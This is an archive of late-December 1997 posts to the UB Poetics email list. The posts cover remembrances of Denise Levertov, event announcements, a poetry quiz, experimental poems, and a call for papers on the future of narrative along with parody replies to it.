Thanks especially to David Bromige for his account of Denise Levertov. I did not know of Denise's connection to Bromige nor to Rae Armantrout. Denise's earlier work meant a great deal to me, was crucial to my own development of an ability to hear poetry. When Bob Hass lived for a year in Charlottesville, he would read aloud a range of poetry to illustrate the beauty of certain sounds. I recall Bob reading work by Creeley, John Logan, and Levertov. I read and re-read and said Denise's early work, particularly poems from The Jacob's Ladder and The Sorrow Dance. When I organized the What Is a Poet? conference (1984), Denise was one of the participants. She was in some pain (due to a nerve disease), and she was quite difficult to work with. The event itself was quite contentious, especially the free-for-all of the concluding panel discussion, in which Denise accused Charles Bernstein (and all language poets) of polluting the public beach of language. And at that time, Denise had also been engaged in a letter-writing campaign to deny Marjorie Perloff a teaching position at Stanford. My correspondence and my working relationship with Denise for those couple of years were rather strained. This week, I am (instructed and) struck by the great generosity of Bromige's remembrance of Denise. Personally, I retain many elements of that ear training which I associate with Denise's poetry--a certainy delicacy, beauty, and modulation of vowel sounds particularly. And am tempted to say "what thou lovest well remains...." Which in my case is a love of certain sounds in poetry, a certain lyricism, which remains linked to Denise's poetry, which nonetheless is also linked to the complicated, heated politics of poetry business too.

Hank Lazer

↑ Index

401. **henry gould**
Re: Denise Levertov, deceased
Fri 26 Dec 1997

Thanks, Hank Lazer, for the interesting post on this quiet day. Without any wish to dabble in the poetry politics, I want to second what you said about that elusive sound-lyric element of poetry. It seems to inhabit a region between sound and meaning, speech & music. Croce once wrote somewhere that "pure poetry", contra the Symbolists, was not pure sound - not a strictly abstract aesthetic effect. "Poesie pure", pure poetry, for Croce, meant a balance between sound and meaning. The kind of free verse practiced by Levertov, and so many others in the 60s & 70s, seems to have aimed by very simple & direct means for what Croce defines; and maybe the means began to seem too direct, after a while - too easily imitable, too much the same thing. The vein was mined for all it was worth. (?)

Maybe the sound-lyric quality has something to do with the "lost art" of prosody (as defined in the ILS Dictionary of Received Ideas, a hallowed volume placed right next to my well-thumbed Glinkenschneider's _Geschichte der Philologische Banana-shchplittzeinestrabismus_ and Vittorio di Paolabologna's _Historia della Sprezzatura di Spaghetti_). Lost somewhere between the Established P*o*e*t*s, the Experimentalists, and the Nude Formalists. Lost somewhere... hey, there it is! PROSODY! Whaddya know-- right where I left it, under the avocado plant near the back door next to the shovel and the plastic toy motorcycle! PROSODY! Hey! Get back here, you're part of POETRY! Hey! Dagnab it, there he goes, out the door -- here, Prosody... - Henry Gould, Another Frustrated Pet Prosody Person

↑ Index

402. **Jacques Debrot**
Re: Joris website
Fri 26 Dec 1997

Miekal And:

I posted this once before. Pierre Joris's website is at:

http://www.albany.edu/~joris/nomad.html

↑ Index

403. david bromige
tony lopez messages bouncing
Fri 26 Dec 1997

I, too, Miekal And, had my message to Tony bounce back. Tony, are you out there? Whatsa going on? David

↑ Index

404. Douglas Barbour
Re: POETICS Digest - 24 Dec 1997 to 25 Dec 1997
Fri 26 Dec 1997

Apologies for the double message on Denise Levertov, but I received a very convoluted message telling me that mine had NOT reached Tony Lopez (Hi Tony) in Plymouth England, & that seems to mean that it had not reached Poetics either. Then I was off yesterday, & found the 2nd message had not reached Tony either. Of course in neither case had I tried to reach him, since all I did was use the Reply function. Am still a babe in the woods with this technology...

It'll be interesting to see if this one doesn't reach him either...

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

↑ Index

406. George Bowering
Re: POETICS Digest - 24 Dec 1997 to 25 Dec 1997
Fri 26 Dec 1997

> *Apologies for the double message on Denise Levertov, but I received a very convoluted message telling me that mine had NOT reached Tony Lopez (Hi Tony) in Plymouth England, & that seems to mean that it had not reached Poetics either. Then I was off yesterday, & found the 2nd message had not reached Tony either. Of course in neither case had I tried to reach him, since all I did was use the Reply function. Am still a babe in the woods with this technology...*

---I had a similar experience.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

407. armand schwerner
Gertrude Stein' Making of Americans reading
Fri 26 Dec 1997

David Israel asks about the reading of Stein's Making of Americans. It will be presented at the Paula Cooper Gallry, 534 W. 21st St, between 10th and 11th Avenues, beginning 6PM Tuesday December 30, probably finishing some fifty hours later Thursday evening, January 1. This will be the eighteenth reading of that book, nonstop. Next year, Finnegans Wake again.

↑ Index

408. Alan Myouka Sondheim
Color Words Such as White
Sat 27 Dec 1997

-

Color Words: I Buy a Photograph and Can't Think About Anything

MA time interval space room TANBO rice field IMEJI IMAGE WITH FIFTEEN SHIPS YAMA mountain NAGATO where the north shore turns towards MINATO harbor in Yamaguchi-Ken where I would walk out on the HANTO peninsula

1943 FOURTEEN SHIPS 1931 TWO SHIPS 1945 IMEJI WITH FIFTEEN SHIPS YAMA there in Sesshu FADEOUT, not a person in sight, these MA in MA, o perfect MU nothing in o-perfection MA of TANBO NO IMEJI, E IMAGE WITH 15 SHIPS FIRST CLASS DESTROYERS, I'd say quite a distance from HIROSHIMA wide-island, wouldn't you? WHITE RAIN in KITAKYUSHU TONIGHT up THRU HAGI, Japanese bush clover, wouldn't you say quite a distance, TANBO walking in the dark? I heard Fukuoka almost got hit. Recently, these kids got zapped on a TV Pocket Monster cartoon - just when the action got good, they got flickers on the screen and they got quasi-epileptic convulsions. You can carry the digital versions around in your pocket NAGATO. The words hang out; they got what it takes. The photo's eerily calm, as if the ships were the outgrowths of roots taken in the harbor floor. Suspended by virtue of mechanical perspective above the rice- fields. I wasn't able to breath for the first two years of my life. The truth is, I'm a victim of permanent suffocation. Why is it always me, me, me.

↑ Index

409. Alan Myouka Sondheim
error (fwd)
Sat 27 Dec 1997

Apologies -

The last line or so of the last piece should have "breathe" instead of "breath" - which makes a difference (here and elsewhere) - sorry - Alan

↑ Index

410. David R. Israel
PS122 website & zine
Sat 27 Dec 1997

Poetas,

might interest y'all -- lately has come to my attn that Performance Space 122, veteran alternative / in-vogue East Village home (your mileage may vary, but the alliteration will out) has ventured into cyberspace: The Ps122 Gallery On-line address is: http://www.users.interport.net/~ps122gal/

and included is artwURL: http://www.users.interport.net/~ps122gal/artwurl/index.html conceived as an online periodical (zine), including newsish NYC/art-world-reportage.

There are some online projects -- both visual & sound -- featuring artists-in-virtual residence.

For the past half-hour or something, I've been downloading a Shockwave file / sound project (interestingly described anyway), the creation of a certain Larry 7 -- the site's first invited sound artist:
http://www.users.interport.net/~ps122gal/soundpage.html

(Bailing out -- maybe I'll try at some less phone-line-clutted hour.)

snow here,
d.i.

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 .
 .....
 ............
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http://jefferson.village.virginia.edu/~spoons/internet_txt.html or http://www.anu.edu.au/english/internet_txt .

Please check it out. The introduction follows below.]

The Beginning of the Book

Introduction to The Beginning of the Book

If there were an introduction to the beginning of the book (which has just reached a natural conclusion, or ending, in relation to its pro- duction "at the other end of things," this might function as such, that is announcing its conclu- sion (one always wonders when prefaces, introductions, forwards, are produced in relation to the rest of the text) -

What appears to be a book about words is a book about the spaces be- tween them, where the work of ontology and epistemology is done. So it's about the doing or constituting between states, interstitially within both digital and ana- log domains. Where there is a loosening of construct on one hand, and a "jostling" on the other.

What appears to be awash in philosophy is, in fact, naive through an almost hys- teric affection, bordering on care. I realized from the first that I didn't know what I was talking about (was ignorant of the subject) - much less what I was writing about (was ignorant of the name of the subject).

Think of a book inflicted on its author, or of a book writing its author. Or think of a book constituting the origin of writing, each ideogram suddenly hardening the germ of a new idea. I write this with- out map or territory, in the midst of foreign _kanji,_ and I cannot read the world around me.

Without reading, I begin to be born into the realm of content, land- scape fea- tures, subtle distinctions in topography, the lay of a world in which "natural" and "artificial" dissolve in the presence of unin- terpretable signs.

This is the realm of content which undermines languages, the insuffer- able dis- turbance of an imaginary which cannot be named.

When I began The Beginning of the Book, I did not realize it would be a book, much less a Beginning, so much as a text; these texts, then, all twenty of them concatenated, form a linked chain flooding from one torus to another, the metal spaced by air. It's the air, cleaved around the chain, that I write - hoping for a discourse in which some- thing other than discourse might emerge. Call this emergence a form of "wryting," and read on.

↑ Index

413. Lawrence Upton.
Re: The Lopez connundrum
Sun 28 Dec 1997

<<Regarding the Lopez email bounce-back connundrum (as noted in a <<cou-
pla msgs. on Poetics yesterday) -- as I understand it, such <<bounce-back no-
tices appear w/ some frequency on listservs, whenever <<any subscriber's ad-
dress goes nonfunctional

I think that's true - I don't think Tony has become non-functional though, just a glitch or unfinished housekeeping at his university - i espoke with him recently and he seemed fairly functional

L

↑ Index

414. Susan Wheeler
Re: POETICS Digest - 26 Dec 1997 to 27 Dec 1997
Sun 28 Dec 1997

> *might interest y'all -- lately has come to my attn that Performance*
> *Space 122, veteran alternative / in-vogue East Village home (your*
> *mileage may vary, but the alliteration will out) has ventured into*
> *cyberspace:*
> *The Ps122 Gallery Online address is:*
> *http://www.users.interport.net/~ps122gal/*
> *snow here,*
> *d.i.*

By the by, during the month of January the collaged postcards I make and mail will have an exhibition, courtesy curator Dona Ann McAdams, in the cases outside of PS122's performance space. (!)

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

415. david bromige
snailmaildress : got it!
Sun 28 Dec 1997

thanks those of you who posted the eng dept suny buff snaildress. David

↑ Index

416. Jordan Davis
What is eternal vigilance, Alex?
Sun 28 Dec 1997

On facing pages of the December 19 1997 TLS: a review of Laura Riding & Schuyler Jackson's _Rational Meaning_; the announcement that David Lehman won the week's "Author, Author" competition by correctly identifying the authors of the following three passages:

1. So much for self-analysis. Now,
about what to put in your poem-painting:
Flowers are always nice, particularly delphinium.
Names of boys you once knew and their sleds,
Skyrockets are good -- do they still exist?
There are a lot of other things of the same quality
As those I've mentioned.

2. I think I would rather be
A painter, but I am not. Well,

For instance, Mike Goldberg
is starting a painting. I drop in.
"Sit down and have a drink" he
says. I drink; we drink. I look
up. "You have SARDINES in it."
"Yes, it needed something there."

3. I often think _Play_ was my best work.
It is an open field with a few boards in it.

Children are allowed to come and play in _Play_
By persmission of the Cleveland Museum.
I look up at the white clouds, I wonder what I shall do, and smile.

Perhaps someone will grow up having been influenced by _Play_,
I think -- but what good will that do?
Meanwhile I am interested in steel cigarettes.

__ It was amusing enough a month or so ago when John Ashbery correctly identified W. H. Auden, Elizabeth Bishop, and I think Hart Crane, but really, _ca suffit_! Not that I'm looking at this as a sort of Sputnik crisis (how difficult was it, really, to put a beeping grapefruit into orbit). Rod Smith, you used to quiz the list from time to time, won't you test us again? In the meantimes, I will send a tiny xmas present to the first lister to email me with the correct responses (no fair rushing to the newsstand) with their street address. All right, on your marks.

With love from Paris in August,
Jordan

↑ Index

417. **Marcella Durand**
New Year's Marathon
Sun 28 Dec 1997

For those in the New York area on Thursday, January 1st, the Poetry Project's 24th annual New Year's Day Marathon Reading starts at 2 pm and continues until 1 am (approximately).

Among the 130+ readers and performers are: Penny Arcade, Martine Bellen, Dana Bryant, Jim Carroll, Yoshiko Chuma, Jordan Davis, Maggie Estep, Reg E. Gaines, John Giorno, Kimiko Hahn, Richard Hell, Homer Erotic, Lisa Jarnot, Patricia Spears Jones, Arto Lindsay, Kimberly Lyons, Gillian McCain, Legs McNeil, Taylor Mead, Rebecca Moore, Tracie Morris, Dael Orlandersmith, Maureen Owen, Lee Ranaldo, Vernon Reid, Reno, Marc Ribot, Larry Rivers, Eleni Sikelianos, Lynne Tillman, Paul Violi, John Yau, Nick Zedd and many more.

Admission is $15; $12 for members. No reservations needed. Refreshments (chili, beer, cake and more) will be available. Call [redacted] if you have any questions.

↑ Index

418. **Jordan Davis**
Re: What is eternal vigilance, Alex?
Mon 29 Dec 1997

Can't believe I haven't mailed out the prize -- gonna make the offer available to other folks soon -- not too late! -- Jordan

↑ Index

419. **Jordan Davis**
Competition Winner
Mon 29 Dec 1997

> Competition Winner: Franklin Bruno
>
> 1. So much for self-analysis. Now,
> about what to put in your poem-painting:
> Flowers are always nice, particularly delphinium.
> Names of boys you once knew and their sleds,
> Skyrockets are good -- do they still exist?

> There are a lot of other things of the same quality
> As those I've mentioned.
> JOHN ASHBERY, "And Ut Pictura Poesis Was Her Name"
>
> 2. I think I would rather be
> A painter, but I am not. Well,
>
> For instance, Mike Goldberg
> is starting a painting. I drop in.
> "Sit down and have a drink" he
> says. I drink; we drink. I look
> up. "You have SARDINES in it."
> "Yes, it needed something there."
> FRANK O'HARA, "Why I Am Not an Artist"
>
> 3. I often think _Play_ was my best work.
> It is an open field with a few boards in it.
>
> Children are allowed to come and play in _Play_
> By persmission of the Cleveland Museum.
> I look up at the white clouds, I wonder what I shall do, and smile.
>
> Perhaps someone will grow up having been influenced by _Play_,
> I think -- but what good will that do?
> Meanwhile I am interested in steel cigarettes.
> KENNETH KOCH, "The Artist" (David Lehman got credit even tho he had "The Artists")

↑ Index

420. Alan Myouka Sondheim
(from someone named Sarah Kanji)
Mon 29 Dec 1997

-

there are three strokes to the river, two strokes to the man
there are three strokes to the number, one stroke to the wand
the man strikes a feather with the wand
the feather bends in the fifteen strokes of the wind
the feather bends in the sixteen strokes of the wind
wind cries, you don't hear me anymore
wind cries, you don't see me anymore
"there are three strokes to the river, two strokes to the man"

there are five strokes to the fire, seventeen strokes to the iron
and there are sixteen strokes to the mercury, seven to the plant
from which springs all things
and the man strokes the fire with iron, and the man springs
hard against the plant, there is one stroke to the woman,
"men are not all things or plants" and "a woman is writing"
"a woman is writing this" and the wind cries you don't
and the wind cries you don't
and the man flows like mercury
down the iron fire woman plant river
"the man flows like writing"
there are four strokes to the mountain, feathered like the wind
and there are a number of wands
[...]

↑ Index

421. Poetics List

Call for Papers: Future of Narrative

Mon 29 Dec 1997

From: Lance Olsen <[redacted]>
Subject: CALL FOR PAPERS

CALL FOR PAPERS:
PLEASE READ, SUBMIT, POST & DISTRIBUTE

The Future of Narrative:
Speculative Criticism

Deadline: September 1, 1998

Guest Editor:
Lance Olsen, University of Idaho
[redacted]

It is the nature of traditional criticism to keep a firm eye on the rearview mirror, rediscovering, reevaluating, and renegotiating texts that have cruised the narratological autobahn for years, decades, even centuries. At their most adventurous, critical works will sometimes hazard a brief glance out the side windows for a quick contemplation of their immediate surroundings. This special issue of _Paradoxa_, however, due to appear in the summer of 1999, invites submissions that turn their attention forward to consider what narrative will look like, sound like, and read like in the new millennium.

Some areas of investigation might include, though should in no way be limited to: How will the continuing postmodern dissolution of boundaries--between, say, prose and poetry, "creative" writing and "critical," genre and genre, page and screen, "high" culture and "low," "literature" and "paraliterature," atomic-based formats and digital, geopolitical country and more fluid electronic constellations--affect that trajectory? How will the advent of such relatively new multimedia as hypertext, CD-Rom, and the World Wide Web contribute to the always mutating shape and concerns of narrative? Which young creators or groups of young creators will be worth keeping a critical eye on? Which now-established creators or groups of creators will or should fall from visibility, and how might this influence the notion of canon reconfiguration? What changes can we expect with regard to ideas of authorship, writing, language, originality, the growing global technocracy, the marketplace, publishing outlets, even how we have come to conceptualize art itself? In a phrase: where in the world (and out of it) is narrative going, and why?

We will consider both conventional offerings and those that themselves cross generic or discursive boundaries, thereby critifictionally enacting the mutations they are discussing, but all pieces (6,500 words maximum) should be lucid, jargon-free, and accessible to a literate general audience. Style must conform to the _MLA Handbook for Writers of Research Papers_, 4th ed. (1995).

For more information and further guidelines, please visit:

http://www.uidaho.edu/~lolsen/paradoxa.html
--
****
L*A*N*C*E***O*L*S*E*N
http://www.uidaho.edu/~lolsen
C*A*F*E***Z*E*I*T*G*E*I*S*T
****

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422. Jack Spandrift
Re: Call for Papers: Future of Narrative
Mon 29 Dec 1997

AFTER ME CAME THE DELUGE

A Portable Novel
by Jack Spandrift

Chapter 1-Zeugma

It was a stark and dormitory night once, upon a time. I was driven west- southwest at an angle of 38 degrees centigrade by a twister named Meg, moving

along at a studied canter on my trusty horse whose name was X____ and will remain so - ambiguous by name and a nag by fame, don't email me about this or try to research the background, it's already been covered by Beauregard Pinkneed in his phd. enturtled "The future is our suture : the decline of text in an era of --xt" [Univ. of Left Overbie, 2003 and counting].

The wind blew
heavy, on the border-
line...

As we rode along I muttered these lines of an ancient Nordic folksong known as the slysh-nannachocht or "traveler's catch to be sung while being driven west". Suddenly an immense shadow lifted heavy dark bat-like fangs [sic. wings? - ed.] behind me. In a flash of serene multiplexist reflection, I realized it was the Giant of Myself, Jack "Chuck Olson" Spandrift, caught in a blinding evening downdraft of horizontal sunlight....

Chapter 2-plug-in

[only available in version 7-b. sorry, suckers]

Chapter 3 - blurb

"Spandrift has done it again. What can I say? Sheesh!" - Helen Vendler

Chapter 4- conclusion

Dear, dear, dear, oh dear Reader: as you know, "narrrrrrrrr [damn keyboard] rrrrrrrrrativve in the next Milllll {sorry!!!} llllennn N eeee!!! um... will BE. I mean it will be written in here-or-theroglyphs using Microhard dweeb-disk scratchpads and massage-rollers. It will tell "real stories", though.

Jack? Are you still there? Is that your shadow, or mine? In the.... [click on Minsky Troopazoff's painting, "The Scream"] MIRROR???? AAARRGH!!

THE ED [sic]

↑ Index

423. **Mark Weiss**
Re: Call for Papers: Future of Narrative
Mon 29 Dec 1997

Myself, while tooling down the literary autobahn (are there autobahns in Idaho? Does this have to do with the Aryan Nation?), I'm usually keeping an eye peeled for the next rest-stop: need to get rid of the burden of some of the old narrative ingested in previous food plazas, and need to fuel up for the future with the latest pizza: was it Horace or Ashberry who said that a poem should be like a pizza? But I digress. While I'm driving I tend to face forwards, and to hell with

the rearview mirror: there's no speedlimit on the autobahn. And the fun of driving, anyway, is that what's coming up has no discoverable narrative structure until you drive through it. Although I guess, if there's science fiction, there might as well be critical fiction. Think of it. Valleys in hidden corners filled with Lost Departments, where books are printed by exposing slices of bread to flame, the letters produced by overlaying each slice with a foil stencil. The reader creates the text by adding the lunch meats and oleos of his or her choice and calls it a sandwich. In such a department there would be no eyestrain but lots of gas. Actually, this mine has been somewhat exploited before by Freud and others, who invented the psychoanalysis of the dead, but that looked to a fictionalized past. What's proposed here is a bolder step--the critique of the not-yet-composed. An idea with legs--there could be schools without libraries, academics without briefcases, and courses with no syllabus whatsoever.

At 01:57 PM 12/29/97 -0500, you wrote:
>From: Lance Olsen <[redacted]>
>Subject: CALL FOR PAPERS
>
>
>CALL FOR PAPERS:
>PLEASE READ, SUBMIT, POST & DISTRIBUTE
>
>The Future of Narrative:
>Speculative Criticism
>
>Deadline: September 1, 1998
>
>Guest Editor:
>Lance Olsen, University of Idaho
>[redacted]
>
>It is the nature of traditional criticism to keep a firm eye on the
>rearview mirror, rediscovering, reevaluating, and renegotiating texts
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>centuries. At their most adventurous, critical works will sometimes
>hazard a brief glance out the side windows for a quick contemplation of
>their immediate surroundings. This special issue of _Paradoxa_, however,
>due to appear in the summer of 1999, invites submissions that turn their
>attention forward to consider what narrative will look like, sound like,
>and read like in the new millennium.
>
>Some areas of investigation might include, though should in no way be

>limited to: How will the continuing postmodern dissolution of
>boundaries--between, say, prose and poetry, "creative" writing and
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>"literature" and "paraliterature," atomic-based formats and digital,
>geopolitical country and more fluid electronic constellations--affect
>that trajectory? How will the advent of such relatively new multimedia
>as hypertext, CD-Rom, and the World Wide Web contribute to the always
>mutating shape and concerns of narrative? Which young creators or groups
>of young creators will be worth keeping a critical eye on? Which
>now-established creators or groups of creators will or should fall from
>visibility, and how might this influence the notion of canon
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>**********
>L*A*N*C*E***O*L*S*E*N
>http://www.uidaho.edu/~lolsen
>C*A*F*E***Z*E*I*T*G*E*I*S*T
>**********
>
>

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424. Michael Coffey
Re: Call for Papers: Future of Narrative -Reply
Mon 29 Dec 1997

>>> Mark Weiss <[redacted]> 12/29/97 03:50pm >>>
Myself, while tooling down the literary autobahn (are there autobahns in
Idaho? Does this have to do with the Aryan Nation?), I'm usually keeping
an
eye peeled for the next rest-stop: need to get rid of the burden of some
of
the old narrative ingested in previous food plazas, and need to fuel up
for
the future with the latest pizza: was it Horace or Ashberry who said that
a
poem should be like a pizza?....
 What's proposed here is a bolder step--the critique of
the not-yet-composed

Heavy, mon.
One 'r' in Ashbery.
Critique of the not-yet-composed?
Most appropriate--don't write it, else
yer back to the briefcase.
But there is e-mail.
Light, mon.

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425. henry
Re: Call for Papers: Future of Narrative
Mon 29 Dec 1997

On Mon, 29 Dec 1997 15:38:03 EST Jack Spandrift said:
>AFTER ME CAME THE DELUGE
>
>A Portable Novel
>by Jack Spandrift
>
>Chapter 1-Zeugma
>
>It was a stark and dormitory night once, upon a time. I was driven west-
>southwest at an angle of 38 degrees centigrade by a twister named Meg,
>moving along at a studied canter on my trusty horse whose name was X____
>and will remain so - ambiguous by name and a nag by fame, don't email me

>about this or try to research the background, it's already been covered
>by Beauregard Pinkneed in his phd. enturtled "The future is our
>suture : the decline of text in an era of --xt" [Univ. of Left Overbie,
>2003 and counting].
>
>The wind blew
>heavy, on the border-
>line...
>
>As we rode along I muttered these lines of an ancient Nordic folksong
>known as the slysh-nannachocht or "traveler's catch to be sung while
>being driven west". Suddenly an immense shadow lifted heavy dark
>bat-like fangs [sic. wings? - ed.] behind me. In a flash of
>serene multiplexist reflection, I realized it was the Giant of
>Myself, Jack "Chuck Olson" Spandrift, caught in a blinding evening
>downdraft of horizontal sunlight....
>
>Chapter 2-plug-in
>
>[only available in version 7-b. sorry, suckers]
>
>Chapter 3 - blurb
>
>"Spandrift has done it again. What can I say? Sheesh!" - Helen Vendler
>
>Chapter 4- conclusion
>
>Dear, dear, dear, oh dear Reader: as you know, "narrrrrrrrr [damn keyboard]
>rrrrrrrrrrativve in the next Milllll {sorry!!!} llllennn N eeee!!! um...
>will BE. I mean it will be written in here-or-theroglyphs using
>Microhard dweeb-disk scratchpads and massage-rollers. It will tell
>"real stories", though.
>
>Jack? Are you still there? Is that your shadow, or mine? In the....
>[click on Minsky Troopazoff's painting, "The Scream"] MIRROR????
>AAARRGH!!
>
>THE ED [sic]

Hello, everybody! Here I am, comfortably esconced in my cozy den at home in East Wuzzlemount, cloistered under a plume of fine pipe-tabac, and mildly roistered by a goodly dram of Old Gen-ringa-ding-ding-denning, "checking" my

"email", as you Yanks so tersely, or concisely I should say, have it (over hereabouts we call it Electronical (or Electro-Tammy or Electro-Tommy, as you wish, for short) Correspondence) - when to my surprise I find an electronical version of an early Spandrift novel! Gad! Well, promptly did I not pull down my First Firksimilio-Folio Edition of the Werken Iacobus Spandriftischen (translegrotten into the Auld Hi! Dutch) and check for myself - and what in heaven's name did I find? Well. You will note the [sic] [[error]] editorial mark after the conclusio above ["THE ED [sic]"]; yet in the First FirsimilioFolio Edition, this line is quite, quite ambiguous! There is a blurring of the ink, perhaps an erasure, after the "c" in "sic" - which looks very much to this old Brit's eye like none other than a question mark! My Sherlockian critical intellect "kicked in", as you Yanks will have it - and I came to the following conclusio about this conclusio: the original Firksian editor assumed Spandrift meant to write (or dictate) the word "END". But the editor nevertheless felt a slight, almost intangible TWINGE of doubt - perhaps - is it possible? - the "ED" is absolutely non contra auctoritamus! - and ALLUDES in a diagrammatic hockey puck left pass maneuver to the "X____" "nag" of Chapter 1-Zeugma!! In other words - to put it baldly - THE ED is.... MR. ED! Hence the "scream" of "EDvard" Munchvian recognition in Chapter 4! (& if one begins to sense the subtextual thread leading from MR. Ed to the ED-itor himself... Gad!)

I will try a bit of Yanqui concision myself - and leave the rest for "list" perusal, inquiry, investigation, evaluation, grading, damning, praising, hailing, well-metting, cheese-offing, and so forth. Cheery Holidays to One & All! - Eric Blarnes [hic]

↑ Index

426. Henry Gould

Re: Call for Papers: Future of Narrative

Mon 29 Dec 1997

Is that idiot Blarnes suggesting that narrative in the next millenium will be written by HORSES????

Jeez, get a life, Blarnes. Or lay off the scotch, "old chappie". This thread is getting really knotty and I can barely tie my shoes anymore. If there's a story there, you're welcome to it. & here's a penny for the old guy, Merry Christmas.

In my humble opinion (or IMUHGRMHO, as some will have it), narrative in the next eggnog will be too long a word for everybody. It'll be called NA (pronounced like "neigh"). And poetry will be PO (pronounced like "poe" in trampoe-line). Then there will be combos like NA-PO and PO-NA with a little NA-CRI-PO or CRI-NA-PO thrown in for good measure. (Not to mention NA-PO-RE or narrative verse recipes).

As I say, Blarnes, get a life. I got mine at 30 percent off at Job Lot yesterday, they might still have some. And leave the List to really interesting threads, like 4-Wheel Zoot or All-Weather Vehicle Treadboots. But hey, merry whatever, bud. - Henry Gould

↑ Index

427. **Maria Damon**
another
Mon 29 Dec 1997

---

i read in the paper that sally marr (nee, i think, kitchenstein, if memory serves), the 91 year old mother of lenny bruce, died in l.a. they were very close. i feel sad cuz, although i had her phone # i was too timid to ever use it. i mean, what would i have said. that's not the main reason i feel sad tho. i feel sad cuz she was someone who was close to, and formative of, someone i find fascinating.--md

↑ Index

428. **Mark foutu**
Future of Narrative BACK to the future
Tue 30 Dec 1997

Is it not a perfect illustration that a paper on "the future of narrative" must and I quote must conform to the MLA Handbook for Writers of Research Papers_, 4th ed. (1995).

Now if only Mr freelander could have brought CALL ME ISHMAEL [see the new cal paper COLLECTED PROSE] into the proper and conforming form for scholarly work (Chicago Man. of Style or is it MTV house of style?)maybe then the english department at harvard college might have been able to work it into the cirriculum

just perfect. ya turn off the light and you turn on the dark

all love

Markus

↑ Index

429. **Miekal And**
testing..1,2,3, (or tasting integers)
Wed 31 Dec 1997

Mark Prejsnar wrote:

> *Haven't seen a post in over 24 hours..*

Maybe
Just maybe
everything
there is to say
has been
said

my resolution for
98 is to strike terror & glee
simultaneously in the
spleens of poets of everywhere

"remember
violent non-objectivity"

-alexei kruchenykh

the mr and

↑ Index

430. **sylvester pollet**
Dec 31
Wed 31 Dec 1997

Just wanted to remind all you celebrants that today is St. Sylvester's Day, and to wish you a good one. S.

↑ Index

431. **Mark Prejsnar**
testing..1,2,3,
Wed 31 Dec 1997

Is it just that everyone out there has a life (horrid thought..)

Or has the List shut down in some catastrophic way (or was it all just a dream?)? Or is it all just a technical problem on my end (which is like a dream, only more complicated)?

Haven't seen a post in over 24 hours..

Mark P.

↑ Index

432. sylvester pollet
Re: testing..1,2,3,
Wed 31 Dec 1997

At 12:18 PM -0500 12/31/97, Mark Prejsnar wrote:
>Is it just that everyone out there has a life (horrid thought..)
>
>Or has the List shut down in some catastrophic way (or was it all just a
>dream?)? Or is it all just a technical problem on my end (which is like a
>dream, only more complicated)?
>
>Haven't seen a post in over 24 hours..
>
>Mark P.

Guess everybody's got a life but you & me, Mark! Go party! S.

↑ Index

433. Henry Gould
Re: testing..1,2,3,
Wed 31 Dec 1997

On Wed, 31 Dec 1997 12:34:19 -0500 sylvester pollet said:
>
>Guess everybody's got a life but you & me, Mark! Go party! S.

Believe it or not, even Eric Blarnes, the pseudo-anglo-indo-acado- bambi-doe prof from E. Wuzzlemount, went & got a life. I saw him this afternoon right here in widget-size Providence, reading "The Charge of the Light Brigade" at the top of his lungs from the back of a fire truck, complete with sax accompaniment and backup vocalists. I threw him a penny, too. (Change from the discount life I picked up for MYSELF down at Job Lot.) - Henry Gould ("still in '97 & hell nor high water ain't gonna budge me! No way!")

ODE TO THE NEW YEAR
by Eric Blarnes, O.E.D.ph.-4

The sprinkles that fall from turbidulous clouds
like manna from Mammon's big Mama Louise,
are each of them every one special, though crowds
of them gather in drifts to my knees
& soon I must shovel them off the sidewalk
or face a crude fine from our Mayor, Cianci,
who sells his own pasta sauce here 'round the clock -
which reminds me - jolly old stuffy Sir Blarnesee -

get your boots on, my lad, and toddle downtown,
it's the New Year's Parade, & you're playing the Clown!
- Jolly good of you, Spandrift, to jostle my Braincell!
Thanks much, old chap, hope your New Year is - is - swell!
(- okay boys, desist with the self-conversation -
time to chime now as one, O you Schizo-Creation)
"Cannon to the right of them, cannon to the left of them,
volleyed and thundered..." [oh, topping! splendid!]

↑ Index

434. **pritchpa**
Re: testing..1,2,3,
Wed 31 Dec 1997

Sounds lonely, Mark - but it's just as lonely here in Boulder. Like those post-apocalypse movies where stranded islets of humanity cluster around their ham radios, sounding their pathetic refrain, Hello is anyone out there? amid long stretches of unnerving static.

But since you posted, I'll ask - has the newest ish of Misc. Proj. gone out yet?

And a more general query for Ron Silliman or anyone else: in which book of Ron's can I find the poem based on the Fibonacci series? Is it called "Fibonacci Series"? Or something else? You see, my mother handwove me a rayon chenille opera-length scarf this Xmas and the thread pattern is based on the Fibonacci series. It's quite the most beautiful thing, both to look at and wear. I shall wear it out tonight, ignorant of its intricacy, yet delighting in it all the same.

Calling all stations, but not expecting an answer -
Patrick Pritchett

From: Mark Prejsnar
To: [redacted]
Subject: testing..1,2,3,
Date: Wednesday, December 31, 1997 11:18AM

Is it just that everyone out there has a life (horrid thought..)

Or has the List shut down in some catastrophic way (or was it all just a dream?)? Or is it all just a technical problem on my end (which is like a dream, only more complicated)?

Haven't seen a post in over 24 hours..

Mark P.

↑ Index

435. Pete Landers
Re: Call for Papers: Future of Narrative
Wed 31 Dec 1997

Lance wrote:
...
>all pieces (6,500 words
>maximum) should be lucid, jargon-free, and accessible to a literate
>general audience. Style must conform to the _MLA Handbook for Writers of
>Research Papers_, 4th ed. (1995).

He also wrote:

> *Speculative Criticism*
>
> *narratological*
> *postmodern dissolution of*
> *boundaries*
> *"literature" and "paraliterature,"*
> *and more fluid electronic constellations*
> *relatively new multimedia*
> *canon reconfiguration?*
> *global technocracy*
> *generic or discursive boundaries*
> *critifictionally*
> *enacting the mutations*

In the future, the narrative will have characters and deal with a generally continuous period of time. If people read it, it will be considered hack work, if they don't it will be considered art.

Pete

↑ Index

436. Lawrence Upton.
Re: testing..1,2,3,
Wed 31 Dec 1997

|Is it just that everyone out there has a life (horrid thought..)

Got it in one. Me too. New Labour, New Life, New Year. Got to go. Saint Diana Bless you now and always.

L

↑ Index

437. **Scott Pound**
Re: testing..1,2,3,
Wed 31 Dec 1997

Silliman's _Tjanting_ uses the Fibonacci series. I got wrapped up in it scarf-like two years ago.

Scott Pound

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

January 1998

1059 messages · Thu 1 Jan 1998 – Sat 31 Jan 1998

